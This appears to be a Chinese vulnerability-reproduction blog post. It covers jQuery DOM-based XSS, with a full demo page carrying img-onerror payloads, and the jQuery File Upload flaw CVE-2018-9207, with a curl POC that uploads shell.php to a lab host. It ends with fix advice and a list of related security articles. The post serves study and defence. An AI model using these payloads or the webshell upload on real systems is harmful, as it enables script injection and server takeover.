jQuery DOM-based XSS

免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

漏洞详情

在JQuery的诸多发行版本中,存在着DOM-based XSS(跨站脚本攻击的一种)漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞。
2.x的版本可以使用Safari浏览器来弹框。

JavaScript XSS Demo

<!DOCTYPE html>
<html lang="zh"> <head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Jquery XSS</title>
<script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.6.1/jquery.js"></script>
<!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> -->
<!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> -->
<!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> -->
<script>
$(function () {
// #9521
// #11290
$(location.hash); // #11974
$('#bug').on('click', function () {
$.parseHTML("<img src='z' οnerrοr='alert(\"bug-11974\")'>");
return false;
});
})
</script>
</head> <body>
<h1>jQuery with XSS</h1>
<h2>Demo:</h2>
<p style="color:red;">Note: Source code changes jQuery version,As long as there is no bullet window, there will be no problem.!</p>
<ul>
<li><a href="#<img src=/ onerror=alert(1)>" target="_blank">bug-9521</a> => <a
href="https://bugs.jquery.com/ticket/9521" target="_blank">ticket</a></li>
<li><a href="#p[class='<img src=/ onerror=alert(2)>']" target="_blank">bug-11290</a> => <a
href="https://bugs.jquery.com/ticket/11290" target="_blank">ticket</a></li>
<li><a href="#11974" id="bug">bug-11974</a> => <a href="https://bugs.jquery.com/ticket/11974"
target="_blank">ticket</a></li>
</ul>
<h2>Test version:</h2>
<ul>
<li><a href="http://research.insecurelabs.org/jquery/test/" target="_blank">test result</a></li>
</ul>
<h2>Safe version:</h2>
<ul>
<li>1.12.0, 1.12.1 </li>
<li>2.2.0, 2.2.1</li>
<li>3.0.0, 3.0.1, 3.1.0, 3.1.1</li>
</ul>
</body> </html>

1.6.1版本:

1.9.1版本:

个别版本无法弹框可以使用Safari浏览器,因为Safari浏览器会经过URL编码进入函数,依然可以使用html5 的一些特性,引发错误并弹框。

jQuery file upload 文件上传漏洞 (CVE-2018-9207)

漏洞详情

jQuery file upload是一个文件上传小工具,包含多个文件选择,拖放支持,进度条,验证和预览图像,jQuery的音频和视频。支持跨域、分块和可恢复文件上传以及客户端图像大小调整。适用于任何服务器端平台——支持标准HTML表单文件上传(PHP,Python,Ruby on Rails,Java,Node.js,Go等)。

这个漏洞产生主要是因为jQuery-File-Upload的.htaccess文件会限制文件的上传和文件的执行,但是Apache的2.3.9版本中,Apache默认不再支持.htaccess了,而且默认是没有被开启的,所以导致攻击者可以任意上传脚本文件并执行。如果使用了另一种web容器的话(比如Nginx),那么基于.htaccess文件的保护则完全无效。

漏洞复现

在线复现地址

POC:

curl -F "files=@shell.php" http://cc2ce5c953d2e3b36bde9f346d4290ea.n2.vsgo.cloud:8395/server/php/index.php


其实直接点击上传也行,就是一个文件上传漏洞

wireshark抓包看一下。(注意路径问题)

修复建议:

1.启用htaccess文件,对上传类型进行限制。
2.更新jQuery file upload至最新版本(https://github.com/blueimp/jQuery-File-Upload)。

jQuery漏洞复现整理的更多相关文章

  1. Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

    环境搭建 怎么设置Mysql支持外联? use mysql; grant all privileges on *.* to root@'%' identified by '密码'; //授权语句 fl ...

  2. docker漏洞复现环境搭建

    0x00 docker简介 把原来的笔记整理了一下,结合前几天的一个漏洞,整理一篇简单的操作文档,希望能帮助有缘人. docker是一个开源的应用容器引擎,开发者可以打包自己的应用到容器里面,然后迁移 ...

  3. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  4. [漏洞复现] [Vulhub靶机] OpenSSL Heartbleed Vulnerability (CVE-2014-0160)

    免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 传输层安全协议SSL 安全套接字协议SSL(Secure Sockets Layer),及其继任者传输层安 ...

  5. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

  6. 【S2-052】漏洞复现(CVE-2017-9805)

    一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...

  7. markdown反射型xss漏洞复现

    markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...

  8. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  9. Struts2-052 漏洞复现

    s2-052漏洞复现 参考链接: http://www.freebuf.com/vuls/147017.html http://www.freebuf.com/vuls/146718.html 漏洞描 ...

  10. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

随机推荐

  1. 宝塔面板服务器ip地址修改域名

    参考博客:请点击百度 今天登录宝塔面板是突然忘记了服务器IP地址,从而导致了以下这种情况. 其实我以前是买过一个域名的,但是并没有绑定到宝塔上面.从而就一直拿IP登录宝塔面版.现在用命令方式更换域名, ...

  2. 第五十七篇:webpack打包发布

    好家伙,到了打包发布这一步了 1.配置打包命令: 在package.json 文件的 scripts 节点下,新增 build 命令如下: "scripts": { "d ...

  3. Linux虚拟机报错grub rescue解决步骤

    /boot 分区内核文件丢失 实验准备 1) 准备:rm -rf /boot/* 2) 系统启动报错截图 修复步骤 重启显示logo时 按 Esc,选择从光驱启动 或者关机再选择打开电源时进入固件 移 ...

  4. noip 2014 提高组初赛

    noip 2014 提高组初赛 一. TCP协议属于哪一层协议( ) A. 应用层 B. 传输层 C. 网络层 D. 数据链路层 B TCP(传输控制协议) 若有变量int a; float: x, ...

  5. token总结

    token 总结 1. token 和SessionID 的区别 Token机制相对于Cookie机制又有什么好处呢? 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的 ...

  6. 通过IIS部署Flask项目

      本文主要介绍在Windows Server 2012R2上通过IIS部署Flask项目的过程,以及对TTFB延迟大问题的思考.关于如何申请云服务器,注册(子)域名,备案,开放云服务器端口,获取SS ...

  7. 从Java 9 到 Java 17 新特性梳理

    Java 9 新的创建集合的方法  // [1, 2, 3, 4]  List<Integer> integers = List.of(1, 2, 3, 4);  // {1,2,3}   ...

  8. Kubernetes Node的隔离与恢复

    在硬件升级.硬件维护等情况下,我们需要将某些Node进行隔离,脱离Kubernetes集群的调度范围.Kubernetes提供了一种机制,即可以将Node纳入调度范围,也可以将Node脱离调度范围. ...

  9. centos7.5升级系统内核版本

    1.yum update curl nss 2.yum install wget 3.rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.or ...

  10. Xcode模拟器simulators安装

    启动Xcode 后打开菜单Xcode->Preferences...再点击Downloads就可以看到Xcode默认支持的iOS各版本 模拟器,如果还没有安装,只需要点击后面的下载箭头标识,Xc ...